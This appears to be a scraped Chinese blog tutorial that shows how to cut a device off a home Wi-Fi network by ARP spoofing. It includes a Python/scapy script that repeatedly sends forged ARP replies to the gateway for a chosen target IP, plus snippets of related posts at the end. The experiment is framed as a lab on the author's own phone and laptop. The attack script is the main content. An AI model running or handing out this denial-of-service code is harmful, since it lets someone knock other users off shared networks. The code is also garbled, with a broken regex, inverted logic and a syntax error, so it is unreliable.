1. 膝上型電腦,配置如下:
電腦品牌:華碩 asus
系統版本:microsoft windows 專業版 [版本 10.0.17134.1069]
膝上型電腦通過 wifi 連線入網際網路。
2. pycharm 軟體,配置如下:
版本:pycharm 2018.3.3 (community edition)
build #pc-183.5153.39, built on january 1, 2019
jre: 1.8.0_152-release-1343-b264 amd64
jvm: openjdk 64-bit server vm by jetbrains s.r.o
python 3.7
網路裝置傳送報文時,會查詢網路裝置中的 arp 快取表,根據快取表中的 ip 位址確定其對應的 mac 位址。現在假設有兩個網路裝置同時連線到路由器,乙個為裝置 a,乙個為裝置 b,那麼在路由器中會存放 a 和 b 的 ip 位址和 mac 位址,分別記為 a_ip、a_mac、b_ip、b_mac。現在我們可以在裝置 b 上傳送 arp 應答報文,把應答報文的源 ip 位址填 a_ip,源 mac 位址填 b_mac,而目的位址正常填寫路由器的 ip 與 mac 位址。於是路由器就會認為 a_ip 位址對應的 mac 位址是 b_mac,就不會接收裝置 a 的報文,裝置 a 就會斷網。
本次實驗裝置 a 和 b 都在我們手中,主要是讓大家認識 arp 斷網的過程。
本次實驗使用一台膝上型電腦作為攻擊者,另外一台手機作為志願者。
路由器192.168.1.1
筆記本192.168.1.102
手機192.168.1.101
首先看一下膝上型電腦的位址為 b_ip = 192.168.1.102,b_mac = 70-4d-7b-41-d2-b6;
然後看一下手機的位址為 a_ip = 192.168.1.101。
開啟 pycharm 後建立乙個 py 檔案,輸入以下**,**很簡單,具體請看注釋描述:
# -*- coding: cp936 -*-
import scapy
import psutil
import re
import netifaces
from scapy.all import * # 用來構造 arp 報文
def printback(num=0):
for i in range(0, num):
print('\b', end='')
def arpcmd(cmdbody):
if (len(cmdbody) == 2 and cmdbody[0].lower() == 'break' or cmdbody[0] == '斷網'):
gateinfo = netifaces.gateways()
try:
gateip = gateinfo['default'][netifaces.af_inet][0] # 獲取預設閘道器的 ip 位址
netcardname = gateinfo['default'][netifaces.af_inet][1] # 獲取預設閘道器所在的網絡卡的名稱
except keyerror as e:
print('其返回值為:', gateinfo)
return
gatemac = getmacbyip(gateip) # 獲取預設閘道器的 mac 位址
netcardaddrs = netifaces.ifaddresses(netcardname)
try:
mymac = netcardaddrs[netifaces.af_link][0]['addr']
except keyerror as e:
print('其返回值為:', mymac)
return
dstipmatch = re.search(r'\a2(5[0-5]|[0-4][0-5])|[0-1]?\d(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d))\z', cmdbody[1])
if (not dstipmatch):
# 輸出獲取到的相關資料
# 構造 arp 報文
arp1 = arp()
arp1.op = 2 # 2 代表此報文為應答報文
arp1.psrc = dstipmatch.group() # 源主機的 ip 位址填要斷網的 ip 位址
arp1.hwsrc = mymac # 源主機的 mac 位址填本機(對應網絡卡)的 mac 位址
arp1.pdst = gateip # 目的主機的 ip 位址填閘道器的 ip 位址
arp1.hwdst = gatemac # 目的主機的 mac 位址填閘道器的 mac 位址
mesgnum = 0
whiper = 10000
while (whiper):
whiper = whiper - 1
if (whiper == 0):
send(arp1, verbose=0)
printback(len(str(mesgnum)) + len('個...'))
mesgnum = mesgnum + 1
print(mesgnum, '個...', sep='', end='')
whiper = 10000
if __name__ == '__main__':
while (1):
mycmd = input('請輸入:')
if (mycmd == 'exit' or mycmd == '退出'):
break
else:
cmdlist = re.findall(r'\s+', mycmd)
if (cmdlist == ):
break
if (cmdlist[0].lower() == 'arp'):
arpcmd(cmdlist[1: ])
**執行效果如下:
請輸入:arp break 192.168.1.101
process finished with exit code -1
現在再從路由器檢視裝置資訊:
路由器192.168.1.1
筆記本192.168.1.101
手機192.168.1.101
可以看出筆記本的 ip 位址也變成了 192.168.1.101,與手機相同。但是此時只有電腦能上網,而手機不能。
python arp斷網攻擊 區域網arp斷網攻擊
前言 使用計算機時間稍長的人,大多經歷過各種病毒氾濫的年代,當然現在也有很多病毒,只是現在的病毒已經很隱蔽了,而且行為也愈發的不可捉摸。我們今天記錄一下,早些時候,經常遇到的arp斷網攻擊。通俗的講,arp就是乙個問路的協議,資料要到達某乙個裝置,必須要知道其對應的mac位址,如何知道呢?那就是廣播...
Arp斷網攻擊,欺騙
在我們翻開一本關於開發類的書籍的時候都會看到一句 工欲善其事必先利其器 這句話給我們的意思呢大概就是,要想學好程式設計,首先得有開發工具,接下來,我就來講怎麼安裝linux kali 系統的環境,這時候很多人會產生疑惑,不久是個系統嗎直接裝不就好了?為啥還要環境,由於kali系統是全root模式安全...
arp斷網攻擊解決辦法
區域網中有這個提示arp斷網攻擊是正常的,說明防火牆已經攔截了,是有人用p2p工具控制你的網速,或者是區域網有機器中病毒了也會有這樣的提示,不過不用擔心,今天給大家帶來幾個防止arp斷網攻擊的辦法,希望能幫助到有需要的朋友。arp攻擊,是針對乙太網位址解析協議 arp 的一種攻擊技術。此種攻擊可讓攻...